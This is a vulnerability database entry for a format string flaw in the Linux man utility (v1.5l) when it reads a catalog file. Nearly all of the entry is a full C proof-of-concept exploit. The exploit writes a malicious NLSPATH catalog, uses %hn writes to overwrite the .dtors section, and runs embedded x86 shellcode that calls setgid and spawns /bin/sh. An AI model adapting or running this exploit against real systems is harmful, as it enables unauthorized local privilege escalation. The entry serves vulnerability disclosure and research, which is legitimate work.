Lucene search
K

Man 1.5.1 Catalog File Format String Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 29 Views

A format string vulnerability in the man utility allows local attackers to write to sensitive areas of memory, potentially gaining elevated privileges

Code

                                                source: http://www.securityfocus.com/bid/7812/info

A vulnerability has been reported in the man utility. The problem is said to occur due to a format string bug when handling a catalog file. As a result, an attacker may be capable of writing arbitrary values to sensitive locations within process memory.

The successful exploitation of this issue could potentially result in a local attacker gaining elevated privileges, likely setgid 'man'. 

/* (linux)man[v1.5l]: format string exploit. *
 *                                           *
 * by: [email protected] / fakehalo.   *
 *                                           *
 * man v1.5l, and below, contain a format s- *
 * tring vulnerability.  the vulnerability   *
 * occurs when man uses an optional catalog  *
 * file, supplied by the NLSPATH/LANG envir- *
 * onmental variables.                       *
 *                                           *
 * this exploit takes advantage of this vul- *
 * nerability by making a fake catalog.  the *
 * n, changing the 8th catget, which is "Wh- *
 * at manual page do you want?", to "8 %.0d- *
 * &hn%.0d&hn". (0=filled in correctly :))   *
 *                                           *
 * since the environment is the closest user *
 * supplied data reached popping, the explo- *
 * it works like so:                         *
 *                                           *
 * format bug itself: "8 %.0d&hn%.0d&hn",    *
 * ENVVAR=<dtors+2><dtors><nops><shellcode>. *
 * so, the numbers used to write the address *
 * are found in the environment, making the  *
 * environment needing to be well aligned.   *
 *                                           *
 * the bug itself is located here:           *
 * gripes.c:89:vfprintf(stderr,getmsg(n),p); *
 * (getmsg() returns data from the catalog)  *
 *                                           *
 * successful exploitation will look like:   *
 * 000...000000000000000001074078752sh-2.04# *
 *                                           *
 * note: recent glibc versions unsetenv()    *
 * NLSPATH, along with other environmental   *
 * variables, when running set*id programs.  *
 * so, this exploit is limited in that rega- *
 * rd.  this is just a proof of concept any- *
 * ways.                                     *
 *********************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <pwd.h>

#define PATH "/usr/bin/man" /* man binary. */
#define NOP_AMT 4096 /* number of NOPs.    */
#define LANG_NAME "xx" /* "en", "fr", ...  */

static char x86_exec[]= /* with setgid(15); */
 "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
 "\x0f\xcd\x80\x89\x76\x08\x31\xc0\x88\x46"
 "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
 "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
 "\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62"
 "\x69\x6e\x2f\x73\x68\x01";

struct platform {
 unsigned short align;
 unsigned int pops;
 unsigned long dtors_addr;
 unsigned long ret_addr;
 char *exec;
};

struct platform target[2] =
{
 {
  /* alignment.                        */
  0,
  /* pops, example provided below.     */
  88,
  /* objdump -sj.dtors /usr/bin/man    */
  (0x805122c+4),
  /* generalized number, room to work. */
  0xbffffe01,
  /* shellcode, with setgid(15)        */
  x86_exec
 },
 { 0, 0, 0, 0, NULL }
};

char *setfmt(unsigned int);
char *setfmtmem(unsigned int);
char *setlang(unsigned int);
void printe(char *);

int main(int argc,char **argv){
 extern char **environ;

 if(argc<2){
  printf("(*)man[v1.5l]: format string exploit.\n"
  "(*)by: [email protected] / fakehalo.\n\n"
  "syntax: %s <platform>\n"
  " 0 : Compiled RH/linux 2.4.2-2.\n",argv[0]);
  exit(1);
 }
 if(atoi(argv[1])>0)
  printe("main(): invalid platform number");

 /* reset environment to ensure addresses   */
 /* are aligned.  as the pointer used is    */
 /* going to be aligned in the environment. */
 bzero((void *)&environ,sizeof(environ));
 if(!(environ=(char **)malloc(3*(sizeof(char *)))))
  printe("main(): allocation of memory error");

 /* X<alignment>=<addr+2><addr><nops><shellcode> */
 environ[0]=setfmtmem(atoi(argv[1]));

 /* NLSPATH=/path/to/lang. */
 environ[1]=setlang(atoi(argv[1]));
 environ[2]=0x0;

 if(execlp(PATH,PATH,0))
  printe("main(): failed to execute man");

 exit(0);
}
/* makes buffer: "8 %0d$hn%0d$hn" */
char *setfmt(unsigned int pf){
 unsigned int addrl,addrh;
 unsigned int pops=target[pf].pops;
 unsigned long addr=target[pf].ret_addr;
 char *buf;

 addrh=(addr&0xffff0000)>>16;
 addrl=(addr&0x0000ffff);

 if(!(buf=(char *)malloc(64+1)))
  printe("setfmt(): allocating memory failed");
 bzero(buf,(64+1));

 if(addrh<addrl)
  sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",
  (addrh-1),pops,(addrl-addrh),(pops+1));
 else
  sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",
  (addrl-1),(pops+1),(addrh-addrl),pops);

/* example of how to find amount of pops.  */
/* run the exploit with this return(),     */
/* adding "%x"'s, until you see your data. */
/* return("8 "
 "%x %x %x %x %x %x %x %x %x %x" // 10
 "%x %x %x %x %x %x %x %x %x %x" // 20
 "%x %x %x %x %x %x %x %x %x %x" // 30
 "%x %x %x %x %x %x %x %x %x %x" // 40
 "%x %x %x %x %x %x %x %x %x %x" // 50
 "%x %x %x %x %x %x %x %x %x %x" // 60
 "%x %x %x %x %x %x %x %x %x %x" // 70
 "%x %x %x %x %x %x %x %x %x %x" // 80
 "%x %x %x %x %x %x %x %x" // 8+80=88. (my box)
 "\n"); */

 return(buf);
}
/* makes buffer: <addr+2><addr><nops><shellcode> */
char *setfmtmem(unsigned int pf){
 unsigned short align=target[pf].align;
 unsigned long dtors=target[pf].dtors_addr;
 char filler[][4]={"","X","XX","XXX"};
 char taddr[3];
 char *buf;
 char *exec=target[pf].exec;

 taddr[0]=(dtors&0xff000000)>>24;
 taddr[1]=(dtors&0x00ff0000)>>16;
 taddr[2]=(dtors&0x0000ff00)>>8;
 taddr[3]=(dtors&0x000000ff);

 if(!(buf=(char *)malloc(strlen(exec)+align+
 NOP_AMT+11)))
  printe("getfmtmem(): allocating memory failed");

 bzero(buf,(strlen(exec)+align+NOP_AMT+11));
 sprintf(buf,"X%s=%c%c%c%c%c%c%c%c",
  filler[align],
  taddr[3]+2,taddr[2],taddr[1],taddr[0],
  taddr[3],taddr[2],taddr[1],taddr[0]);

 memset(buf+(10+align),0x90,NOP_AMT);
 memcpy(buf+((10+align+NOP_AMT)-strlen(exec)),
 exec,strlen(exec));

 return(buf);
}
char *setlang(unsigned int pf){
 char *langfile;
 char *langsrc;
 char *execbuf;
 char *envbuf;
 struct passwd *pwd;
 FILE *fs;

 if(!(pwd=getpwuid(getuid())))
  printe("passwd entry doesn't appear to exist");
 else{
  if(strlen(pwd->pw_dir)){
   if(!(langfile=(char *)malloc(strlen((char *)
   pwd->pw_dir)+strlen(LANG_NAME)+7)))
    printe("setlang(): allocating memory failed");
   sprintf(langfile,"%s/mess.%s",(char *)pwd->pw_dir,
   LANG_NAME);
  }
  else
   printe("passwd entry lookup failure");
 }
 if(!(langsrc=(char *)malloc(strlen(langfile)+5)))
  printe("setlang(): allocating memory failed");

 sprintf(langsrc,"%s.src",langfile);

 if(!(fs=fopen(langsrc,"w")))
  printe("setlang(): failed to write to cat file.");
 fs=fopen(langsrc,"w");
 fprintf(fs,"%s\n",setfmt(pf));
 fclose(fs);

 if(!(execbuf=(char *)malloc(strlen(langfile)+
 strlen(langsrc)+9)))
  printe("setlang(): allocating memory failed");
 sprintf(execbuf,"gencat %s %s",langfile,langsrc);

 unlink(langfile);
 system(execbuf);

 if(!(envbuf=(char *)malloc(strlen(langfile)+9)))
  printe("setlang(): allocating memory failed");
 sprintf(envbuf,"NLSPATH=%s",langfile);

 free(langfile);
 free(langsrc);
 free(execbuf);

 return(envbuf);
}
void printe(char *err){
 fprintf(stderr,"error: %s.\n",err);
 exit(0);
}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation